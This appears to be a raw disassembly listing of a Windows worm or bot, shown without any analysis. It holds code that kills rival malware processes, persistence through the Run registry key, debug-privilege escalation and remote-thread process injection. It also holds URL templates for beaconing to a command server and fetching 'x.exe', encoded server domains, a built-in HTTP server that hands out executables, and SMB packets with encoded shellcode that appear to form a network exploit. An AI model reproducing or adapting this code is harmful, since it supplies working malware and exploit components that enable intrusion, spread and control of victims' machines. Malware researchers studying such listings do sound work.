sub_31422B67+7Cp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp push esi xor esi, esi lea eax, [ebp+arg_4] push esi push eax push esi push 0F003Fh push esi push esi push esi push [ebp+arg_4] push [ebp+arg_0] call dword_31421000 test eax, eax jz short loc_31422904 push 1 pop eax jmp short loc_3142292B ; --------------------------------------------------------------------------- loc_31422904: ; CODE XREF: sub_314228DB+22j push [ebp+arg_10] push [ebp+arg_C] push 1 push esi push [ebp+arg_8] push [ebp+arg_4] call dword_31421004 test eax, eax jz short loc_31422920 push 2 pop esi loc_31422920: ; CODE XREF: sub_314228DB+40j push [ebp+arg_4] call dword_31421014 mov eax, esi loc_3142292B: ; CODE XREF: sub_314228DB+27j pop esi pop ebp retn sub_314228DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142292E proc near ; CODE XREF: sub_314229E6+9Fp var_128 = dword ptr -128h var_120 = dword ptr -120h var_104 = byte ptr -104h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx mov ebx, [ebp+arg_0] push esi push ebx call dword_31421084 mov esi, eax dec esi test esi, esi jle loc_314229E2 loc_3142294E: ; CODE XREF: sub_3142292E+27j cmp byte ptr [esi+ebx], 5Ch jz short loc_31422957 dec esi jns short loc_3142294E loc_31422957: ; CODE XREF: sub_3142292E+24j push 0 push 2 call sub_31422D2C cmp eax, 0FFFFFFFFh mov [ebp+arg_0], eax jz short loc_314229E2 push 128h lea eax, [ebp+var_128] push 0 push eax call sub_31422CD6 add esp, 0Ch lea eax, [ebp+var_128] mov [ebp+var_128], 128h push eax push [ebp+arg_0] call sub_31422D26 test eax, eax jz short loc_314229E2 lea esi, [esi+ebx+1] loc_3142299F: ; CODE XREF: sub_3142292E+B2j lea eax, [ebp+var_104] push eax push esi call dword_31421104 pop ecx test eax, eax pop ecx jz short loc_314229CF push [ebp+var_120] push 0 push 1F0FFFh call dword_314210B0 push 0 push eax call dword_31421060 loc_314229CF: ; CODE XREF: sub_3142292E+83j lea eax, [ebp+var_128] push eax push [ebp+arg_0] call sub_31422D20 test eax, eax jnz short loc_3142299F loc_314229E2: ; CODE XREF: sub_3142292E+1Aj ; sub_3142292E+38j ... pop esi pop ebx leave retn sub_3142292E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314229E6 proc near ; CODE XREF: UPX0:3142237Bp var_13C = byte ptr -13Ch var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 13Ch push ebx push esi lea eax, [ebp+var_34] push edi mov [ebp+var_34], offset aWindowsSecurit ; "Windows Security Manager" mov [ebp+var_30], offset aDiskDefragment ; "Disk Defragmenter" mov [ebp+var_2C], offset aSystemRestoreS ; "System Restore Service" mov [ebp+var_28], offset aBotLoader ; "Bot Loader" mov [ebp+var_24], offset aSystray ; "SysTray" mov [ebp+var_20], offset aWinupdate ; "WinUpdate" mov [ebp+var_1C], offset aWindowsUpdateS ; "Windows Update Service" mov [ebp+var_18], offset aAvserve_exe ; "avserve.exe" mov [ebp+var_14], offset aAvserve2_exeup ; "avserve2.exeUpdate Service" mov [ebp+var_10], offset aMsConfigV13 ; "MS Config v13" mov [ebp+var_C], offset aWindowsUpdate ; "Windows Update" mov [ebp+var_4], eax mov [ebp+var_8], 0Bh mov edi, offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... mov esi, 80000002h loc_31422A56: ; CODE XREF: sub_314229E6+AEj mov eax, [ebp+var_4] push 104h mov ebx, [eax] lea eax, [ebp+var_13C] push eax push ebx push edi push esi call sub_31422882 add esp, 14h test eax, eax jnz short loc_31422A8D push ebx push edi push esi call sub_3142284D lea eax, [ebp+var_13C] push eax call sub_3142292E add esp, 10h loc_31422A8D: ; CODE XREF: sub_314229E6+8Ej add [ebp+var_4], 4 dec [ebp+var_8] jnz short loc_31422A56 pop edi pop esi pop ebx leave retn sub_314229E6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422A9B proc near ; CODE XREF: sub_31422B67+D1p ; sub_31422B67+132p var_78 = byte ptr -78h var_14 = byte ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 78h cmp [ebp+arg_0], 0 jz short loc_31422AB0 push [ebp+arg_0] call dword_31421074 loc_31422AB0: ; CODE XREF: sub_31422A9B+Aj lea eax, [ebp+var_78] push 63h push eax call dword_3142108C test eax, eax jz locret_31422B65 push esi call dword_314210FC and eax, 3 add eax, 5 push eax lea eax, [ebp+var_14] push eax call sub_31421F73 mov esi, dword_31421088 pop ecx pop ecx lea eax, [ebp+var_14] push offset dword_314241F0 push eax call esi lea eax, [ebp+var_78] push offset dword_314241F8 push eax call esi lea eax, [ebp+var_14] push eax lea eax, [ebp+var_78] push eax call esi lea eax, [ebp+var_78] push 0 push eax push [ebp+arg_4] call dword_31421050 lea eax, [ebp+var_78] push eax call dword_31421084 inc eax push eax lea eax, [ebp+var_78] push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h call sub_314228DB add esp, 14h push dword_31424FF4 call dword_3142107C lea eax, [ebp+var_78] push 0 push eax call dword_31421054 push 1F4h call dword_31421094 push 0 call dword_314210E0 pop esi locret_31422B65: ; CODE XREF: sub_31422A9B+23j leave retn sub_31422A9B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422B67 proc near ; CODE XREF: UPX0:31422380p var_E8 = byte ptr -0E8h var_84 = byte ptr -84h var_20 = byte ptr -20h push ebp mov ebp, esp sub esp, 0E8h push ebx push esi push edi lea eax, [ebp+var_84] push 63h push eax push 0 call dword_31421048 test eax, eax jz loc_31422CA0 and dword_31425010, 0 lea eax, [ebp+var_20] push 1Dh push eax mov edi, offset aSoftwareMicr_0 ; "Software\\Microsoft\\Wireless" push offset aId ; "ID" mov esi, 80000002h push edi push esi call sub_31422882 add esp, 14h test eax, eax jz short loc_31422BED call dword_314210FC push 0Ah mov ebx, offset aHptrchtqrfmtgw ; "hptrchtqrfmtgwpg" cdq pop ecx idiv ecx add edx, ecx push edx push ebx call sub_31421F73 pop ecx pop ecx push ebx call dword_31421084 inc eax push eax push ebx push offset aId ; "ID" push edi push esi call sub_314228DB add esp, 14h jmp short loc_31422BFC ; --------------------------------------------------------------------------- loc_31422BED: ; CODE XREF: sub_31422B67+4Dj lea eax, [ebp+var_20] push eax push offset aHptrchtqrfmtgw ; "hptrchtqrfmtgwpg" call dword_31421068 loc_31422BFC: ; CODE XREF: sub_31422B67+84j lea eax, [ebp+var_E8] push 63h push eax push offset aCryptographicS ; "Cryptographic Service" push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push esi call sub_31422882 add esp, 14h test eax, eax jz short loc_31422C42 push 2 push offset a1 ; "1" push offset aClient ; "Client" push edi push esi call sub_314228DB lea eax, [ebp+var_84] push eax push 0 call sub_31422A9B add esp, 1Ch jmp short loc_31422CA0 ; --------------------------------------------------------------------------- loc_31422C42: ; CODE XREF: sub_31422B67+B3j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call dword_3142104C test eax, eax jnz short loc_31422C8B lea eax, [ebp+var_20] push 1Dh mov ebx, offset aClient ; "Client" push eax push ebx push edi push esi call sub_31422882 add esp, 14h test eax, eax jnz short loc_31422CA0 push ebx push edi push esi mov dword_31425010, 1 call sub_3142284D add esp, 0Ch jmp short loc_31422CA0 ; --------------------------------------------------------------------------- loc_31422C8B: ; CODE XREF: sub_31422B67+F1j lea eax, [ebp+var_84] push eax lea eax, [ebp+var_E8] push eax call sub_31422A9B pop ecx pop ecx loc_31422CA0: ; CODE XREF: sub_31422B67+1Fj ; sub_31422B67+D9j ... pop edi pop esi pop ebx leave retn sub_31422B67 endp ; =============== S U B R O U T I N E ======================================= sub_31422CA5 proc near ; CODE XREF: sub_314211A0+CAp ; sub_314215C7+11p ... arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call dword_31421044 retn sub_31422CA5 endp ; =============== S U B R O U T I N E ======================================= sub_31422CB9 proc near ; CODE XREF: sub_314211A0+10Bp ; sub_314215C7+C0p arg_0 = dword ptr 4 push 8000h push 0 push [esp+8+arg_0] call dword_31421040 retn sub_31422CB9 endp ; --------------------------------------------------------------------------- align 10h loc_31422CD0: ; DATA XREF: sub_31421422+Ao ; sub_314223B2+Ao jmp dword ptr loc_31421100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CD6 proc near ; CODE XREF: sub_31421801+128p ; sub_31421801+134p ... jmp dword_314210F8 sub_31422CD6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CDC proc near ; CODE XREF: sub_31421801+9Cp ; sub_31421801+C5p ... jmp dword_314210F4 sub_31422CDC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422CE2 proc near ; CODE XREF: sub_31421801+93p ; sub_31421801+B2p ... jmp dword_314210F0 sub_31422CE2 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_31422CF0 proc near ; CODE XREF: sub_31421801+8p arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_31422D10 loc_31422CFC: ; CODE XREF: sub_31422CF0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_31422CFC loc_31422D10: ; CODE XREF: sub_31422CF0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_31422CF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D20 proc near ; CODE XREF: sub_3142292E+ABp jmp dword_31421064 sub_31422D20 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D26 proc near ; CODE XREF: sub_3142292E+64p jmp dword_3142105C sub_31422D26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_31422D2C proc near ; CODE XREF: sub_3142292E+2Dp jmp dword_31421058 sub_31422D2C endp ; --------------------------------------------------------------------------- db 2 dup(0CCh) dd 4B3h dup(0) dword_31424000 dd 206h, 2400h, 31415352h, 180h, 10001h, 11838DF5h, 2AEC5279h ; DATA XREF: sub_31421422+112o dd 0E7F63AE4h, 0E0EA9B49h, 0DB21AFBEh, 1A95447Eh, 0A032615Eh dd 9F6A1F85h, 3994FF94h, 8F26A684h, 5C1DCE35h, 0B20BC9A5h dd 3072657Ah, 0 aMozilla4_0Co_0 db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314215C7+84o align 10h byte_31424080 db 0 ; DATA XREF: sub_314216A2+1Br off_31424081 dd offset dword_314241E4 ; DATA XREF: sub_314216A2+23r align 2 dd offset dword_314241D4 dw 0C401h dd 1314241h, 314241B4h, 4241A000h, 41900131h, 80013142h dd 314241h, 31424174h, 42416800h, 41580131h, 48003142h dd 1314241h, 3142413Ch, 42417400h, 41D40131h, 30003142h dd 314241h, 314241D4h, 42412001h, 41480031h, 10013142h dd 314241h, 31424130h, 42410001h, 40F80131h, 74003142h dd 314241h, 31424130h, 2E767663h, 7572h, 2E777777h, 6C646572h dd 2E656E69h, 7572h, 656C6966h, 72616573h, 722E6863h, 75h dd 6F626F72h, 61686378h, 2E65676Eh, 6D6F63h, 68746566h dd 2E647261h, 7A6962h, 63657361h, 2E616B68h, 7572h, 7473616Dh dd 782D7265h, 6D6F632Eh, 0 dd 6F6C6F63h, 61622D72h, 722E6B6Eh, 75h, 6B76616Bh, 742E7A61h dd 76h, 74757263h, 6E2E706Fh, 75h, 6F64696Bh, 61622D73h dd 722E6B6Eh, 75h, 65726170h, 61622D78h, 722E6B6Eh, 75h dd 6C756461h, 6D652D74h, 65726970h, 6D6F632Eh, 0 dd 666E6F6Bh, 616B7369h, 726F2E74h, 67h, 69746963h, 6E61622Dh dd 75722E6Bh, 0 dword_314241D4 dd 72617778h, 6A632E65h, 656E2E62h, 74h ; DATA XREF: UPX0:31424086o dword_314241E4 dd 617A616Dh, 616B6166h, 75722Eh ; DATA XREF: UPX0:off_31424081o dword_314241F0 dd 6578652Eh, 0 ; DATA XREF: sub_314211A0+75o ; sub_3142207E+55o ... dword_314241F8 dd 5Ch ; DATA XREF: sub_314211A0+49o ; sub_31422A9B+56o aMozilla4_0Comp db 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)',0 ; DATA XREF: sub_314211A0+13o align 10h aAbcdefghijkl_0 db 'abcdefghijklmnopqrstuvwxyz',0 ; DATA XREF: sub_31421316+1Co align 4 aAbcdefghijklmn db 'ABCDEFGHIJKLMNOPQRSTUVWXYZ',0 ; DATA XREF: sub_31421316+Co align 4 aZer0 db 'zer0',0 ; DATA XREF: sub_31421422+34o align 10h aHttpS db 'http://%s',0 ; DATA XREF: sub_314215C7+71o align 4 aHttpSIndex_php db 'http://%s/index.php?id=%s&scn=%d&inf=%d&ver=19-2&cnt=%s',0 ; DATA XREF: sub_314215C7+57o align 8 byte_314242B8 db 0EBh ; DATA XREF: sub_31421801+24Eo ; sub_31421801+260o ... db 58h word_314242BA dw 7468h ; DATA XREF: sub_31422712+40o dd 2F3A7074h, 3732312Fh, 302E302Eh, 383A312Eh, 652F3030h dd 6578652Eh, 4 dup(0DFDFDFDFh), 7A6F4DDFh, 616C6C69h dd 302E342Fh, 0C9335DDFh, 1EEB966h, 8B05758Dh, 3C068AFEh dd 46057599h, 302C068Ah, 88993446h, 0EDE24707h, 0DAE80AEBh dd 2EFFFFFFh, 2E676562h, 0C9999371h, 0C999C999h, 91BDFD12h dd 0C99916FDh, 0AA6872C1h, 0AA66FD42h, 14BA10FDh, 9998A91Ch dd 0C9C999C9h, 98F198F3h, 9986C999h, 98C071C9h, 0C999C999h dd 37CB5F90h, 1C965992h, 99C99978h, 14C999C9h, 7D7157E4h dd 0C999C999h, 0E414C999h, 9945713Ah, 99C999C9h, 0F19DF3C9h dd 9989C999h, 0F1C999C9h, 0C999C999h, 0F3C9999Ch, 0B371C999h dd 99C99998h, 0E3F367C9h, 0DC1C10F0h, 99C99998h, 0C959B2C9h dd 0C99BF3C9h, 0C999F1C9h, 0C999C999h, 0A10414D9h, 99C99998h dd 9E71CAC9h, 99C99998h, 61688DC9h, 0AD1C1091h, 99C99998h dd 66611AC9h, 99111D96h, 99C999C9h, 0C850B2C9h, 98F3C8C8h dd 0C957DC14h, 0C9992571h, 0C999C999h, 91C0A44Eh, 59924912h dd 59B2F7EDh, 0C9C9C9C9h, 0CA3AC414h, 993B71CBh, 99C999C9h dd 0E424FFC9h, 0ED599221h, 0F1CDCDCFh, 0C999C999h, 66C9999Ch dd 9998DC2Ch, 0C9C999C9h, 0C9991E71h, 0C999C999h, 83B8B0FBh dd 5D12CDC3h, 0C9C999F3h, 0DC2C66CBh, 99C99998h, 0AD2C66C9h dd 99C99998h, 990B71C9h, 99C999C9h, 0A6485AC9h, 2C66C096h dd 0C99998ADh, 1B71C999h, 0C999C999h, 294CC999h, 9CF3EBA7h dd 98A10414h, 0C999C999h, 99E971CAh, 99C999C9h, 26F434C9h dd 0C999F371h, 0C999FC71h, 0C999C999h, 0EF133BF9h, 376B4629h dd 9966DE5Fh, 0A8EC5AC9h, 99C999A0h, 99C999C9h, 0B7C999C9h dd 0E9EDFFC5h, 0B7FDE9ECh, 99FCE1FCh, 6 dup(99C999C9h) dd 0FCF5CAC9h, 0C999E9FCh, 0F7EBFCF2h, 0ABAAF5FCh, 34C7C999h dd 0B459AAF9h, 662A2A25h, 9093ACC9h, 9CC9B781h, 83639D90h dd 9271CDC9h, 0C999C999h, 19BFC999h, 0FD145135h, 720A95BDh dd 0F934C791h, 0C999C871h, 0C999C999h, 12A5D212h, 9AE180D5h dd 146FAA52h, 0C89A2A8Dh, 9A8B12B9h, 5859AA4Ah, 9BAB9E59h dd 99A319DBh, 0A26CECC9h, 0ED85BDDDh, 0E8A2DF9Eh, 5544EB81h dd 9ABDC812h, 8D2E964Ah, 85D812EBh, 9D125A9Ah, 105A9A09h dd 0F885BDDDh, 98D01C10h, 0C999C999h, 7F664966h, 8712FEFDh dd 12C999A9h, 0C21295C2h, 12821285h, 0B75A91C2h, 0B7FDF7FCh dd 0 dword_31424580 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: sub_31421801+186o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWorkg db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_3142460C dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+1BAo dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 8 dword_314246B8 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+1EEo dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_31424798 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+8Do dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC: ; DATA XREF: sub_31421801+BFo unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_314247FC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+2D4o dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_31424868 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+308o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_3142490C dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+4EEo dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 dword_3142498C dd 401495h, 3, 40707Ch, 1, 0 ; DATA XREF: sub_31421801+51Co dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 40707Ch, 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_31424A20 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+347o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_31424A8C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_31421801+372o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_31424B00 dd 0 ; DATA XREF: sub_31421801+3A0o dd 40A89Ah, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 0 dd 40A89Ah, 1, 0 dd 1, 3 dup(0) dd 586E6957h, 72502050h, 6Fh, 9 dup(0) db 2 dup(0) dword_31424BBE dd 1004600h ; DATA XREF: sub_31421801+289r dw 1 dd 69570000h, 206B326Eh, 6F7250h, 0Ah dup(0) dword_31424BF8 dd 7515123Ch, 2, 326E6957h, 5341206Bh, 0Ah dup(0) ; DATA XREF: sub_31421801+41Bo ; sub_31421801+45Do dd 123C0000h, 751Ch, 0Eh dup(0) ; --------------------------------------------------------------------------- loc_31424C70: ; DATA XREF: sub_31421801+44Ao jmp short loc_31424C78 ; --------------------------------------------------------------------------- jmp short loc_31424C7A ; --------------------------------------------------------------------------- align 8 loc_31424C78: ; CODE XREF: UPX0:loc_31424C70j ; DATA XREF: sub_31421801+5Co pop esp pop esp loc_31424C7A: ; CODE XREF: UPX0:31424C72j and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_31424C84 dd 1CEC8166h ; DATA XREF: sub_31421801+Dr dword_31424C88 dd 0E4FF07h ; DATA XREF: sub_31421801+1Cr aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_31421D68+62o align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_31421D68+39o align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_31421D68+2Ao align 10h aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_31421D68+1Bo align 4 aAdvapi32 db 'advapi32',0 ; DATA XREF: sub_31421D68+8o ; sub_314223B2+12Co align 10h aUterm192 db 'uterm19-2',0 ; DATA XREF: sub_31421DF0:loc_31421ED5o ; UPX0:31422351o ... align 4 aShell_traywnd db 'Shell_TrayWnd',0 ; DATA XREF: sub_31421DF0+58o align 4 aCreateremoteth db 'CreateRemoteThread',0 ; DATA XREF: sub_31421DF0:loc_31421E37o align 10h aVirtualallocex db 'VirtualAllocEx',0 ; DATA XREF: sub_31421DF0+34o align 10h aKernel32 db 'kernel32',0 ; DATA XREF: sub_31421DF0+18o align 4 dword_31424D3C dd 0E9F3F5h ; DATA XREF: sub_3142207E+112o aHttp1_1200Ok db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+106o db 0Dh,0Ah db 0Dh,0Ah,0 align 4 aContentLengthU db 'Content-Length: %u',0Dh,0Ah ; DATA XREF: sub_3142207E+85o db 0Dh,0Ah,0 align 10h aHttp1_1200OkCo db 'HTTP/1.1 200 OK',0Dh,0Ah ; DATA XREF: sub_3142207E+71o db 'Content-Type: application/x-exe-compressed',0Dh,0Ah,0 align 10h aGet db 'GET',0 ; DATA XREF: sub_3142207E+3Do aFtpupd_exe db 'ftpupd.exe',0 ; DATA XREF: UPX0:3142233Co align 10h aUser32 db 'user32',0 ; DATA XREF: sub_314223B2+133o align 4 aMsvcrt db 'msvcrt',0 ; DATA XREF: sub_314223B2+125o align 10h aWininet db 'wininet',0 ; DATA XREF: sub_314223B2+11Eo aWs2_32 db 'ws2_32',0 ; DATA XREF: sub_314223B2+111o align 10h aU192x db 'u19-2x',0 ; DATA XREF: sub_314223B2+BDo align 4 aU19 db 'u19',0 ; DATA XREF: sub_314223B2+B6o aU18 db 'u18',0 ; DATA XREF: sub_314223B2+AFo aU17 db 'u17',0 ; DATA XREF: sub_314223B2+A8o aU16 db 'u16',0 ; DATA XREF: sub_314223B2+A1o aU15 db 'u15',0 ; DATA XREF: sub_314223B2+9Ao aU14 db 'u14',0 ; DATA XREF: sub_314223B2+93o aU13i db 'u13i',0 ; DATA XREF: sub_314223B2+8Co align 4 aU13 db 'u13',0 ; DATA XREF: sub_314223B2+85o aU12 db 'u12',0 ; DATA XREF: sub_314223B2+7Eo aU11 db 'u11',0 ; DATA XREF: sub_314223B2+77o aU10 db 'u10',0 ; DATA XREF: sub_314223B2+70o aU9 db 'u9',0 ; DATA XREF: sub_314223B2+69o align 4 aU8 db 'u8',0 ; DATA XREF: sub_314223B2+62o align 10h aU18x db 'u18x',0 ; DATA XREF: sub_314223B2+5Bo align 4 aU17x db 'u17x',0 ; DATA XREF: sub_314223B2+54o align 10h aU16x db 'u16x',0 ; DATA XREF: sub_314223B2+4Do align 4 aU15x db 'u15x',0 ; DATA XREF: sub_314223B2+46o align 10h aU14x db 'u14x',0 ; DATA XREF: sub_314223B2+3Fo align 4 aU13x db 'u13x',0 ; DATA XREF: sub_314223B2+38o align 10h aU12x db 'u12x',0 ; DATA XREF: sub_314223B2+31o align 4 aU11x db 'u11x',0 ; DATA XREF: sub_314223B2+2Ao align 10h aU10x db 'u10x',0 ; DATA XREF: sub_314223B2+23o align 4 aHttpSDX_exe db 'http://%s:%d/x.exe',0 ; DATA XREF: sub_31422712+2Do align 4 aSoftwareMicros db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_314221C4+23o ; sub_314229E6+66o ... align 4 aCryptographicS db 'Cryptographic Service',0 ; DATA XREF: sub_314221C4+1Co ; sub_31422A9B+87o ... align 4 aHptrchtqrfmtgw db 'hptrchtqrfmtgwpg',0 ; DATA XREF: sub_314215C7+4Fo ; sub_31422B67+57o ... align 4 dd 0 aSoftwareMicr_0 db 'Software\Microsoft\Wireless',0 ; DATA XREF: sub_31422B67+32o aClient db 'Client',0 ; DATA XREF: sub_31422B67+BCo ; sub_31422B67+F8o align 10h aId db 'ID',0 ; DATA XREF: sub_31422B67+37o ; sub_31422B67+75o align 4 aWindowsUpdate db 'Windows Update',0 ; DATA XREF: sub_314229E6+55o align 4 aMsConfigV13 db 'MS Config v13',0 ; DATA XREF: sub_314229E6+4Eo align 4 aAvserve2_exeup db 'avserve2.exeUpdate Service',0 ; DATA XREF: sub_314229E6+47o align 10h aAvserve_exe db 'avserve.exe',0 ; DATA XREF: sub_314229E6+40o aWindowsUpdateS db 'Windows Update Service',0 ; DATA XREF: sub_314229E6+39o align 4 aWinupdate db 'WinUpdate',0 ; DATA XREF: sub_314229E6+32o align 10h aSystray db 'SysTray',0 ; DATA XREF: sub_314229E6+2Bo aBotLoader db 'Bot Loader',0 ; DATA XREF: sub_314229E6+24o align 4 aSystemRestoreS db 'System Restore Service',0 ; DATA XREF: sub_314229E6+1Do align 4 aDiskDefragment db 'Disk Defragmenter',0 ; DATA XREF: sub_314229E6+16o align 10h aWindowsSecurit db 'Windows Security Manager',0 ; DATA XREF: sub_314229E6+Fo align 4 a1: ; DATA XREF: sub_31422B67+B7o unicode 0, <1>,0 dd 6 dup(0) dword_31424FE8 dd 0 ; DATA XREF: sub_3142207E+C7r ; sub_314221C4+80w dword_31424FEC dd 0 ; DATA XREF: sub_314215C7+43r ; sub_314216A2+53o ... dword_31424FF0 dd 0 ; DATA XREF: sub_3142207E+79r ; sub_3142207E:loc_3142212Cr ... dword_31424FF4 dd 68h ; DATA XREF: sub_31421DF0+C2r ; UPX0:3142235Cw ... dword_31424FF8 dd 0 ; DATA XREF: sub_3142239E+2r ; sub_314223B2+CEw dword_31424FFC dd 0 ; DATA XREF: sub_314221C4+E0w ; sub_31422712+20r dword_31425000 dd 31420000h ; DATA XREF: sub_31421DF0+6r ; UPX0:31422341w dword_31425004 dd 0 ; DATA XREF: sub_314215C7+49r ; sub_314216A2+4Ao ... dword_31425008 dd 0 ; DATA XREF: UPX0:314227AFw ; UPX0:314227C1w word_3142500C dw 0 ; DATA XREF: sub_3142255F+3Br ; sub_314225C3:loc_31422624r ... align 10h dword_31425010 dd 0 ; DATA XREF: sub_31422B67+25w ; sub_31422B67+110w align 1000h UPX0 ends ; Section 2. (virtual address 00006000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 00006000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute UPX1 segment para public 'CODE' use32 assume cs:UPX1 ;org 31426000h assume es:nothing, ss:nothing, 